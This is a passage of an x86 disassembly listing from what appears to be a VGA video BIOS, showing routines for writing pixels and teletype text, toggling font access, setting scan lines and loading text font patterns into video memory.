84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 00 11 mov bl, al ; 88 c3 xor bh, bh ; 30 ff inc bx ; 43 mov word [bp-01ah], bx ; 89 5e e6 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 0b 11 mov cx, ax ; 89 c1 mov word [bp-018h], ax ; 89 46 e8 mov bl, byte [bp-008h] ; 8a 5e f8 xor bh, bh ; 30 ff mov di, bx ; 89 df sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 000h ; 80 bf 30 46 00 jne short 020f6h ; 75 47 mul word [bp-01ah] ; f7 66 e6 add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff mov bl, byte [bp-00ah] ; 8a 5e f6 xor bh, bh ; 30 ff inc ax ; 40 mul bx ; f7 e3 mov di, ax ; 89 c7 mov bl, byte [bp-00ch] ; 8a 5e f4 mov ax, bx ; 89 d8 mul cx ; f7 e1 mov bl, byte [bp-014h] ; 8a 5e ec add ax, bx ; 01 d8 add ax, ax ; 01 c0 mov cx, di ; 89 f9 add cx, ax ; 01 c1 dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je short 0205dh ; 74 85 mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp-00eh] ; 8a 46 f2 mov bx, ax ; 89 c3 sal bx, 003h ; c1 e3 03 mov ax, word [bx+04633h] ; 8b 87 33 46 mov bx, dx ; 89 d3 mov dx, cx ; 89 ca call 03196h ; e8 a4 10 inc cx ; 41 inc cx ; 41 jmp short 020d2h ; eb dc mov al, byte [di+046afh] ; 8a 85 af 46 xor ah, ah ; 30 e4 mov di, ax ; 89 c7 sal di, 006h ; c1 e7 06 mov al, byte [di+046c5h] ; 8a 85 c5 46 mov byte [bp-012h], al ; 88 46 ee mov al, byte [bx+04632h] ; 8a 87 32 46 mov byte [bp-016h], al ; 88 46 ea dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je short 0216dh ; 74 58 mov al, byte [bp-014h] ; 8a 46 ec xor ah, ah ; 30 e4 cmp ax, word [bp-018h] ; 3b 46 e8 jnc short 0216dh ; 73 4e mov al, byte [bp-00eh] ; 8a 46 f2 mov bx, ax ; 89 c3 sal bx, 003h ; c1 e3 03 mov bl, byte [bx+04631h] ; 8a 9f 31 46 cmp bl, 003h ; 80 fb 03 jc short 0213fh ; 72 0f jbe short 02146h ; 76 14 cmp bl, 005h ; 80 fb 05 je short 02196h ; 74 5f cmp bl, 004h ; 80 fb 04 je short 02146h ; 74 0a jmp near 021b7h ; e9 78 00 cmp bl, 002h ; 80 fb 02 je short 0216fh ; 74 2b jmp short 021b7h ; eb 71 mov al, byte [bp-012h] ; 8a 46 ee xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov bl, byte [bp-00ch] ; 8a 5e f4 xor bh, bh ; 30 ff mov cx, bx ; 89 d9 mov bl, byte [bp-014h] ; 8a 5e ec mov dx, bx ; 89 da mov bl, byte [bp-010h] ; 8a 5e f0 mov di, bx ; 89 df mov al, byte [bp-006h] ; 8a 46 fa mov bx, dx ; 89 d3 mov dx, di ; 89 fa call 01bc4h ; e8 59 fa jmp short 021b7h ; eb 4a jmp short 021bdh ; eb 4e mov al, byte [bp-016h] ; 8a 46 ea push ax ; 50 mov bl, byte [bp-018h] ; 8a 5e e8 xor bh, bh ; 30 ff push bx ; 53 mov bl, byte [bp-00ch] ; 8a 5e f4 mov cx, bx ; 89 d9 mov bl, byte [bp-014h] ; 8a 5e ec mov ax, bx ; 89 d8 mov dl, byte [bp-010h] ; 8a 56 f0 xor dh, dh ; 30 f6 mov bl, byte [bp-006h] ; 8a 5e fa mov di, bx ; 89 df mov bx, ax ; 89 c3 mov ax, di ; 89 f8 call 01cbfh ; e8 2b fb jmp short 021b7h ; eb 21 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov bl, byte [bp-00ch] ; 8a 5e f4 xor bh, bh ; 30 ff mov cx, bx ; 89 d9 mov bl, byte [bp-014h] ; 8a 5e ec mov dx, bx ; 89 da mov al, byte [bp-010h] ; 8a 46 f0 mov di, ax ; 89 c7 mov bl, byte [bp-006h] ; 8a 5e fa mov ax, bx ; 89 d8 mov bx, dx ; 89 d3 mov dx, di ; 89 fa call 01df7h ; e8 40 fc inc byte [bp-014h] ; fe 46 ec jmp near 0210fh ; e9 52 ff lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 biosfn_write_pixel_: ; 0xc21c4 LB 0x17b push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 sub sp, strict byte 00008h ; 83 ec 08 mov byte [bp-006h], dl ; 88 56 fa mov word [bp-00ah], bx ; 89 5e f6 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 ae 0f mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov ax, bx ; 89 d8 call 03160h ; e8 7d 0f mov byte [bp-004h], al ; 88 46 fc cmp AL, strict byte 0ffh ; 3c ff je short 02210h ; 74 26 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 000h ; 80 bf 30 46 00 je short 02210h ; 74 18 mov al, byte [bx+04631h] ; 8a 87 31 46 cmp AL, strict byte 003h ; 3c 03 jc short 0220ch ; 72 0c jbe short 02216h ; 76 14 cmp AL, strict byte 005h ; 3c 05 je short 02213h ; 74 0d cmp AL, strict byte 004h ; 3c 04 je short 02216h ; 74 0c jmp short 02210h ; eb 04 cmp AL, strict byte 002h ; 3c 02 je short 02283h ; 74 73 jmp near 02312h ; e9 ff 00 jmp near 02318h ; e9 02 01 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 85 0f mov bx, ax ; 89 c3 mov ax, cx ; 89 c8 mul bx ; f7 e3 mov bx, word [bp-00ah] ; 8b 5e f6 shr bx, 003h ; c1 eb 03 add bx, ax ; 01 c3 mov word [bp-008h], bx ; 89 5e f8 mov cx, word [bp-00ah] ; 8b 4e f6 and cl, 007h ; 80 e1 07 mov ax, 00080h ; b8 80 00 sar ax, CL ; d3 f8 mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov ax, bx ; 89 d8 sal ax, 008h ; c1 e0 08 or AL, strict byte 008h ; 0c 08 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, 00205h ; b8 05 02 out DX, ax ; ef mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0a000h ; b8 00 a0 call 03188h ; e8 31 0f test byte [bp-006h], 080h ; f6 46 fa 80 je short 02264h ; 74 07 mov ax, 01803h ; b8 03 18 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0a000h ; b8 00 a0 call 03196h ; e8 24 0f mov ax, 0ff08h ; b8 08 ff mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00005h ; b8 05 00 out DX, ax ; ef mov ax, strict word 00003h ; b8 03 00 out DX, ax ; ef jmp short 02210h ; eb 8d mov ax, cx ; 89 c8 shr ax, 1 ; d1 e8 imul ax, ax, strict byte 00050h ; 6b c0 50 cmp byte [bx+04632h], 002h ; 80 bf 32 46 02 jne short 02299h ; 75 08 mov bx, word [bp-00ah] ; 8b 5e f6 shr bx, 002h ; c1 eb 02 jmp short 0229fh ; eb 06 mov bx, word [bp-00ah] ; 8b 5e f6 shr bx, 003h ; c1 eb 03 add bx, ax ; 01 c3 mov word [bp-008h], bx ; 89 5e f8 test cl, 001h ; f6 c1 01 je short 022adh ; 74 04 add byte [bp-007h], 020h ; 80 46 f9 20 mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0b800h ; b8 00 b8 call 03188h ; e8 d2 0e mov bl, al ; 88 c3 mov al, byte [bp-004h] ; 8a 46 fc xor ah, ah ; 30 e4 mov si, ax ; 89 c6 sal si, 003h ; c1 e6 03 cmp byte [si+04632h], 002h ; 80 bc 32 46 02 jne short 022e2h ; 75 19 mov al, byte [bp-00ah] ; 8a 46 f6 and AL, strict byte 003h ; 24 03 mov AH, strict byte 003h ; b4 03 sub ah, al ; 28 c4 mov cl, ah ; 88 e1 add cl, ah ; 00 e1 mov bh, byte [bp-006h] ; 8a 7e fa and bh, 003h ; 80 e7 03 sal bh, CL ; d2 e7 mov AL, strict byte 003h ; b0 03 jmp short 022f5h ; eb 13 mov al, byte [bp-00ah] ; 8a 46 f6 and AL, strict byte 007h ; 24 07 mov CL, strict byte 007h ; b1 07 sub cl, al ; 28 c1 mov bh, byte [bp-006h] ; 8a 7e fa and bh, 001h ; 80 e7 01 sal bh, CL ; d2 e7 mov AL, strict byte 001h ; b0 01 sal al, CL ; d2 e0 test byte [bp-006h], 080h ; f6 46 fa 80 je short 02301h ; 74 04 xor bl, bh ; 30 fb jmp short 02307h ; eb 06 not al ; f6 d0 and bl, al ; 20 c3 or bl, bh ; 08 fb xor bh, bh ; 30 ff mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0b800h ; b8 00 b8 call 03196h ; e8 84 0e lea sp, [bp-002h] ; 8d 66 fe pop si ; 5e pop bp ; 5d retn ; c3 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 83 0e mov bx, ax ; 89 c3 sal bx, 003h ; c1 e3 03 mov ax, cx ; 89 c8 mul bx ; f7 e3 mov bx, word [bp-00ah] ; 8b 5e f6 add bx, ax ; 01 c3 mov word [bp-008h], bx ; 89 5e f8 mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0a000h ; b8 00 a0 jmp short 0230fh ; eb d0 biosfn_write_teletype_: ; 0xc233f LB 0x26f push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0001ah ; 83 ec 1a mov byte [bp-00eh], al ; 88 46 f2 mov byte [bp-016h], dl ; 88 56 ea mov byte [bp-010h], bl ; 88 5e f0 mov byte [bp-014h], cl ; 88 4e ec cmp dl, 0ffh ; 80 fa ff jne short 02364h ; 75 0c mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 27 0e mov byte [bp-016h], al ; 88 46 ea mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 1b 0e mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov ax, bx ; 89 d8 call 03160h ; e8 ea 0d mov byte [bp-008h], al ; 88 46 f8 cmp AL, strict byte 0ffh ; 3c ff je short 023e5h ; 74 68 mov bl, byte [bp-016h] ; 8a 5e ea mov ax, bx ; 89 d8 lea bx, [bp-01eh] ; 8d 5e e2 lea dx, [bp-01ch] ; 8d 56 e4 call 00a8bh ; e8 00 e7 mov al, byte [bp-01eh] ; 8a 46 e2 mov byte [bp-00ch], al ; 88 46 f4 mov ax, word [bp-01eh] ; 8b 46 e2 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp-006h], al ; 88 46 fa mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 e3 0d mov bl, al ; 88 c3 xor bh, bh ; 30 ff inc bx ; 43 mov word [bp-01ah], bx ; 89 5e e6 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 ee 0d mov word [bp-018h], ax ; 89 46 e8 mov al, byte [bp-00eh] ; 8a 46 f2 cmp AL, strict byte 008h ; 3c 08 jc short 023cch ; 72 0c jbe short 023d3h ; 76 11 cmp AL, strict byte 00dh ; 3c 0d je short 023deh ; 74 18 cmp AL, strict byte 00ah ; 3c 0a je short 023e8h ; 74 1e jmp short 023ebh ; eb 1f cmp AL, strict byte 007h ; 3c 07 jne short 023ebh ; 75 1b jmp near 024f3h ; e9 20 01 cmp byte [bp-00ch], 000h ; 80 7e f4 00 jbe short 023e2h ; 76 09 dec byte [bp-00ch] ; fe 4e f4 jmp short 023e2h ; eb 04 mov byte [bp-00ch], 000h ; c6 46 f4 00 jmp near 024f3h ; e9 0e 01 jmp near 025a7h ; e9 bf 01 jmp near 024f0h ; e9 05 01 mov bl, byte [bp-008h] ; 8a 5e f8 xor bh, bh ; 30 ff mov si, bx ; 89 de sal si, 003h ; c1 e6 03 cmp byte [si+04630h], 000h ; 80 bc 30 46 00 jne short 0244ah ; 75 4e mov ax, word [bp-018h] ; 8b 46 e8 mul word [bp-01ah] ; f7 66 e6 add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff mov dx, ax ; 89 c2 mov al, byte [bp-016h] ; 8a 46 ea xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov ax, dx ; 89 d0 inc ax ; 40 mul bx ; f7 e3 mov cx, ax ; 89 c1 mov bl, byte [bp-006h] ; 8a 5e fa mov ax, bx ; 89 d8 mul word [bp-018h] ; f7 66 e8 mov bl, byte [bp-00ch] ; 8a 5e f4 add ax, bx ; 01 d8 add ax, ax ; 01 c0 add cx, ax ; 01 c1 mov bl, byte [bp-00eh] ; 8a 5e f2 mov ax, word [si+04633h] ; 8b 84 33 46 mov dx, cx ; 89 ca call 03196h ; e8 63 0d cmp byte [bp-014h], 003h ; 80 7e ec 03 jne short 02493h ; 75 5a mov bl, byte [bp-010h] ; 8a 5e f0 xor bh, bh ; 30 ff mov dx, cx ; 89 ca inc dx ; 42 mov ax, word [si+04633h] ; 8b 84 33 46 call 03196h ; e8 4e 0d jmp short 02493h ; eb 49 mov bl, byte [bx+046afh] ; 8a 9f af 46 sal bx, 006h ; c1 e3 06 mov al, byte [bx+046c5h] ; 8a 87 c5 46 mov ah, byte [si+04632h] ; 8a a4 32 46 mov cl, byte [si+04631h] ; 8a 8c 31 46 cmp cl, 003h ; 80 f9 03 jc short 02470h ; 72 0e jbe short 02477h ; 76 13 cmp cl, 005h ; 80 f9 05 je short 024bdh ; 74 54 cmp cl, 004h ; 80 f9 04 je short 02477h ; 74 09 jmp short 024e0h ; eb 70 cmp cl, 002h ; 80 f9 02 je short 02495h ; 74 20 jmp short 024e0h ; eb 69 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov al, byte [bp-006h] ; 8a 46 fa mov cx, ax ; 89 c1 mov al, byte [bp-00ch] ; 8a 46 f4 mov bx, ax ; 89 c3 mov dl, byte [bp-010h] ; 8a 56 f0 xor dh, dh ; 30 f6 mov al, byte [bp-00eh] ; 8a 46 f2 call 01bc4h ; e8 31 f7 jmp short 024e0h ; eb 4b mov al, ah ; 88 e0 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov al, byte [bp-006h] ; 8a 46 fa mov cx, ax ; 89 c1 mov al, byte [bp-00ch] ; 8a 46 f4 mov si, ax ; 89 c6 mov al, byte [bp-010h] ; 8a 46 f0 mov bl, byte [bp-00eh] ; 8a 5e f2 xor bh, bh ; 30 ff mov di, bx ; 89 df mov bx, si ; 89 f3 mov dx, ax ; 89 c2 mov ax, di ; 89 f8 call 01cbfh ; e8 04 f8 jmp short 024e0h ; eb 23 mov al, byte [bp-018h] ; 8a 46 e8 xor ah, ah ; 30 e4 push ax ; 50 mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff mov cx, bx ; 89 d9 mov bl, byte [bp-00ch] ; 8a 5e f4 mov ax, bx ; 89 d8 mov bl, byte [bp-010h] ; 8a 5e f0 mov dx, bx ; 89 da mov bl, byte [bp-00eh] ; 8a 5e f2 mov si, bx ; 89 de mov bx, ax ; 89 c3 mov ax, si ; 89 f0 call 01df7h ; e8 17 f9 inc byte [bp-00ch] ; fe 46 f4 mov bl, byte [bp-00ch] ; 8a 5e f4 xor bh, bh ; 30 ff cmp bx, word [bp-018h] ; 3b 5e e8 jne short 024f3h ; 75 06 mov byte [bp-00ch], bh ; 88 7e f4 inc byte [bp-006h] ; fe 46 fa mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff mov ax, word [bp-01ah] ; 8b 46 e6 cmp bx, ax ; 39 c3 jne short 0256ah ; 75 6b mov bl, byte [bp-008h] ; 8a 5e f8 xor bh, ah ; 30 e7 mov si, bx ; 89 de sal si, 003h ; c1 e6 03 mov al, byte [bp-01ah] ; 8a 46 e6 db 0feh, 0c8h ; dec al ; fe c8 mov byte [bp-012h], al ; 88 46 ee mov al, byte [bp-018h] ; 8a 46 e8 db 0feh, 0c8h ; dec al ; fe c8 mov byte [bp-00ah], al ; 88 46 f6 cmp byte [si+04630h], 000h ; 80 bc 30 46 00 jne short 0256ch ; 75 4c mov ax, word [bp-018h] ; 8b 46 e8 mul word [bp-01ah] ; f7 66 e6 add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff mov dl, byte [bp-016h] ; 8a 56 ea xor dh, dh ; 30 f6 inc ax ; 40 mul dx ; f7 e2 mov cx, ax ; 89 c1 mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff lea ax, [bx-001h] ; 8d 47 ff mul word [bp-018h] ; f7 66 e8 mov bl, byte [bp-00ch] ; 8a 5e f4 add ax, bx ; 01 d8 add ax, ax ; 01 c0 mov dx, cx ; 89 ca add dx, ax ; 01 c2 inc dx ; 42 mov ax, word [si+04633h] ; 8b 84 33 46 call 03188h ; e8 36 0c push strict byte 00001h ; 6a 01 mov bl, byte [bp-016h] ; 8a 5e ea push bx ; 53 mov bl, byte [bp-00ah] ; 8a 5e f6 push bx ; 53 mov bl, byte [bp-012h] ; 8a 5e ee push bx ; 53 mov bl, al ; 88 c3 mov dx, bx ; 89 da xor cx, cx ; 31 c9 xor bl, al ; 30 c3 jmp short 02581h ; eb 17 jmp short 0258ah ; eb 1e push strict byte 00001h ; 6a 01 mov bl, byte [bp-016h] ; 8a 5e ea xor bh, bh ; 30 ff push bx ; 53 mov bl, al ; 88 c3 push bx ; 53 mov bl, byte [bp-012h] ; 8a 5e ee push bx ; 53 xor cx, cx ; 31 c9 xor bl, bl ; 30 db xor dx, dx ; 31 d2 mov ax, strict word 00001h ; b8 01 00 call 0166ah ; e8 e3 f0 dec byte [bp-006h] ; fe 4e fa mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff mov word [bp-01eh], bx ; 89 5e e2 sal word [bp-01eh], 008h ; c1 66 e2 08 mov bl, byte [bp-00ch] ; 8a 5e f4 add word [bp-01eh], bx ; 01 5e e2 mov dx, word [bp-01eh] ; 8b 56 e2 mov bl, byte [bp-016h] ; 8a 5e ea mov ax, bx ; 89 d8 call 00e79h ; e8 d2 e8 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 get_font_access_: ; 0xc25ae LB 0x2c push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, 00100h ; b8 00 01 mov dx, 003c4h ; ba c4 03 out DX, ax ; ef mov ax, 00402h ; b8 02 04 out DX, ax ; ef mov ax, 00704h ; b8 04 07 out DX, ax ; ef mov ax, 00300h ; b8 00 03 out DX, ax ; ef mov ax, 00204h ; b8 04 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00005h ; b8 05 00 out DX, ax ; ef mov ax, 00406h ; b8 06 04 out DX, ax ; ef lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 release_font_access_: ; 0xc25da LB 0x3c push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, 00100h ; b8 00 01 mov dx, 003c4h ; ba c4 03 out DX, ax ; ef mov ax, 00302h ; b8 02 03 out DX, ax ; ef mov ax, 00304h ; b8 04 03 out DX, ax ; ef mov ax, 00300h ; b8 00 03 out DX, ax ; ef mov dx, 003cch ; ba cc 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 and ax, strict word 00001h ; 25 01 00 sal ax, 002h ; c1 e0 02 or AL, strict byte 00ah ; 0c 0a sal ax, 008h ; c1 e0 08 or AL, strict byte 006h ; 0c 06 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00004h ; b8 04 00 out DX, ax ; ef mov ax, 01005h ; b8 05 10 out DX, ax ; ef lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 set_scan_lines_: ; 0xc2616 LB 0xc2 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push dx ; 52 push si ; 56 push di ; 57 mov bl, al ; 88 c3 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 7b 0b mov dx, ax ; 89 c2 mov si, ax ; 89 c6 mov AL, strict byte 009h ; b0 09 out DX, AL ; ee inc dx ; 42 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov ah, al ; 88 c4 and ah, 0e0h ; 80 e4 e0 mov al, bl ; 88 d8 db 0feh, 0c8h ; dec al ; fe c8 or al, ah ; 08 e0 out DX, AL ; ee cmp bl, 008h ; 80 fb 08 jne short 0264dh ; 75 08 mov dx, strict word 00007h ; ba 07 00 mov ax, strict word 00006h ; b8 06 00 jmp short 0265ah ; eb 0d mov dl, bl ; 88 da sub dl, 003h ; 80 ea 03 xor dh, dh ; 30 f6 mov al, bl ; 88 d8 sub AL, strict byte 004h ; 2c 04 xor ah, ah ; 30 e4 call 00dcbh ; e8 6e e7 mov cl, bl ; 88 d9 xor ch, ch ; 30 ed mov bx, cx ; 89 cb mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 46 0b mov AL, strict byte 012h ; b0 12 mov dx, si ; 89 f2 out DX, AL ; ee lea bx, [si+001h] ; 8d 5c 01 mov dx, bx ; 89 da in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov di, ax ; 89 c7 mov AL, strict byte 007h ; b0 07 mov dx, si ; 89 f2 out DX, AL ; ee mov dx, bx ; 89 da in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov dl, al ; 88 c2 and dl, 002h ; 80 e2 02 xor dh, bh ; 30 fe sal dx, 007h ; c1 e2 07 and AL, strict byte 040h ; 24 40 xor ah, ah ; 30 e4 sal ax, 003h ; c1 e0 03 add ax, dx ; 01 d0 inc ax ; 40 add ax, di ; 01 f8 xor dx, dx ; 31 d2 div cx ; f7 f1 mov cx, ax ; 89 c1 mov bl, al ; 88 c3 db 0feh, 0cbh ; dec bl ; fe cb xor bh, bh ; 30 ff mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 e6 0a mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 eb 0a mov dx, ax ; 89 c2 mov al, cl ; 88 c8 xor ah, ah ; 30 e4 mul dx ; f7 e2 mov bx, ax ; 89 c3 add bx, ax ; 01 c3 mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 e4 0a lea sp, [bp-00ah] ; 8d 66 f6 pop di ; 5f pop si ; 5e pop dx ; 5a pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_text_user_pat_: ; 0xc26d8 LB 0x80 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov byte [bp-006h], al ; 88 46 fa mov word [bp-00ch], dx ; 89 56 f4 mov word [bp-00ah], bx ; 89 5e f6 mov word [bp-00eh], cx ; 89 4e f2 call 025aeh ; e8 bf fe mov al, byte [bp+006h] ; 8a 46 06 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, byte [bp+006h] ; 8a 46 06 and AL, strict byte 004h ; 24 04 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-008h], bx ; 89 5e f8 xor bx, bx ; 31 db cmp bx, word [bp-00eh] ; 3b 5e f2 jnc short 0273eh ; 73 2f mov cl, byte [bp+008h] ; 8a 4e 08 xor ch, ch ; 30 ed mov ax, bx ; 89 d8 mul cx ; f7 e1 mov si, word [bp-00ah] ; 8b 76 f6 add si, ax ; 01 c6 mov ax, word [bp+004h] ; 8b 46 04 add ax, bx ; 01 d8 sal ax, 005h ; c1 e0 05 mov di, word [bp-008h] ; 8b 7e f8 add di, ax ; 01 c7 mov dx, word [bp-00ch] ; 8b 56 f4 mov ax, 0a000h ; b8 00 a0 mov es, ax ; 8e c0 cld ; fc jcxz 0273bh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 0270ah ; eb cc call 025dah ; e8 99 fe cmp byte [bp-006h], 010h ; 80 7e fa 10 jc short 0274fh ; 72 08 mov al, byte [bp+008h] ; 8a 46 08 xor ah, ah ; 30 e4 call 02616h ; e8 c7 fe lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00006h ; c2 06 00 biosfn_load_text_8_14_pat_: ; 0xc2758 LB 0x6e push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-00ah], al ; 88 46 f6 call 025aeh ; e8 47 fe mov al, dl ; 88 d0 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, dl ; 88 d0 and AL, strict byte 004h ; 24 04 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-00ch], bx ; 89 5e f4 xor bx, bx ; 31 db jmp short 02788h ; eb 06 cmp bx, 00100h ; 81 fb 00 01 jnc short 027aeh ; 73 26 imul si, bx, strict byte 0000eh ; 6b f3 0e mov di, bx ; 89 df sal di, 005h ; c1 e7 05 add di, word [bp-00ch] ; 03 7e f4 add si, 05bedh ; 81 c6 ed 5b mov cx, strict word 0000eh ; b9 0e 00 mov dx, 0c000h ; ba 00 c0 mov ax, 0a000h ; b8 00 a0 mov es, ax ; 8e c0 cld ; fc jcxz 027abh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 02782h ; eb d4 call 025dah ; e8 29 fe cmp byte [bp-00ah], 010h ; 80 7e f6 10 jc short 027bdh ; 72 06 mov ax, strict word 0000eh ; b8 0e 00 call 02616h ; e8 59 fe lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_text_8_8_pat_: ; 0xc27c6 LB 0x70 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-00ah], al ; 88 46 f6 call 025aeh ; e8 d9 fd mov al, dl ; 88 d0 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, dl ; 88 d0 and AL, strict byte 004h ; 24 04 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-00ch], bx ; 89 5e f4 xor bx, bx ; 31 db jmp short 027f6h ; eb 06 cmp bx, 00100h ; 81 fb 00 01 jnc short 0281eh ; 73 28 mov si, bx ; 89 de sal si, 003h ; c1 e6 03 mov di, bx ; 89 df sal di, 005h ; c1 e7 05 add di, word [bp-00ch] ; 03 7e f4 add si, 053edh ; 81 c6 ed 53 mov cx, strict word 00008h ; b9 08 00 mov dx, 0c000h ; ba 00 c0 mov ax, 0a000h ; b8 00 a0 mov es, ax ; 8e c0 cld ; fc jcxz 0281bh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 027f0h ; eb d2 call 025dah ; e8 b9 fd cmp byte [bp-00ah], 010h ; 80 7e f6 10 jc short 0282dh ; 72 06 mov ax, strict word 00008h ; b8 08 00 call 02616h ; e8 e9 fd lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_text_8_16_pat_: ; 0xc2836 LB 0x70 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-00ah], al ; 88 46 f6 call 025aeh ; e8 69 fd mov al, dl ; 88 d0 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, dl ; 88 d0 and AL, strict byte 004h ; 24 04 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-00ch], bx ; 89 5e f4 xor bx, bx ; 31 db jmp short 02866h ; eb 06 cmp bx, 00100h ; 81 fb 00 01 jnc short 0288eh ; 73 28 mov si, bx ; 89 de sal si, 004h ; c1 e6 04 mov di, bx ; 89 df sal di, 005h ; c1 e7 05 add di, word [bp-00ch] ; 03 7e f4 add si, 069edh ; 81 c6 ed 69 mov cx, strict word 00010h ; b9 10 00 mov dx, 0c000h ; ba 00 c0 mov ax, 0a000h ; b8 00 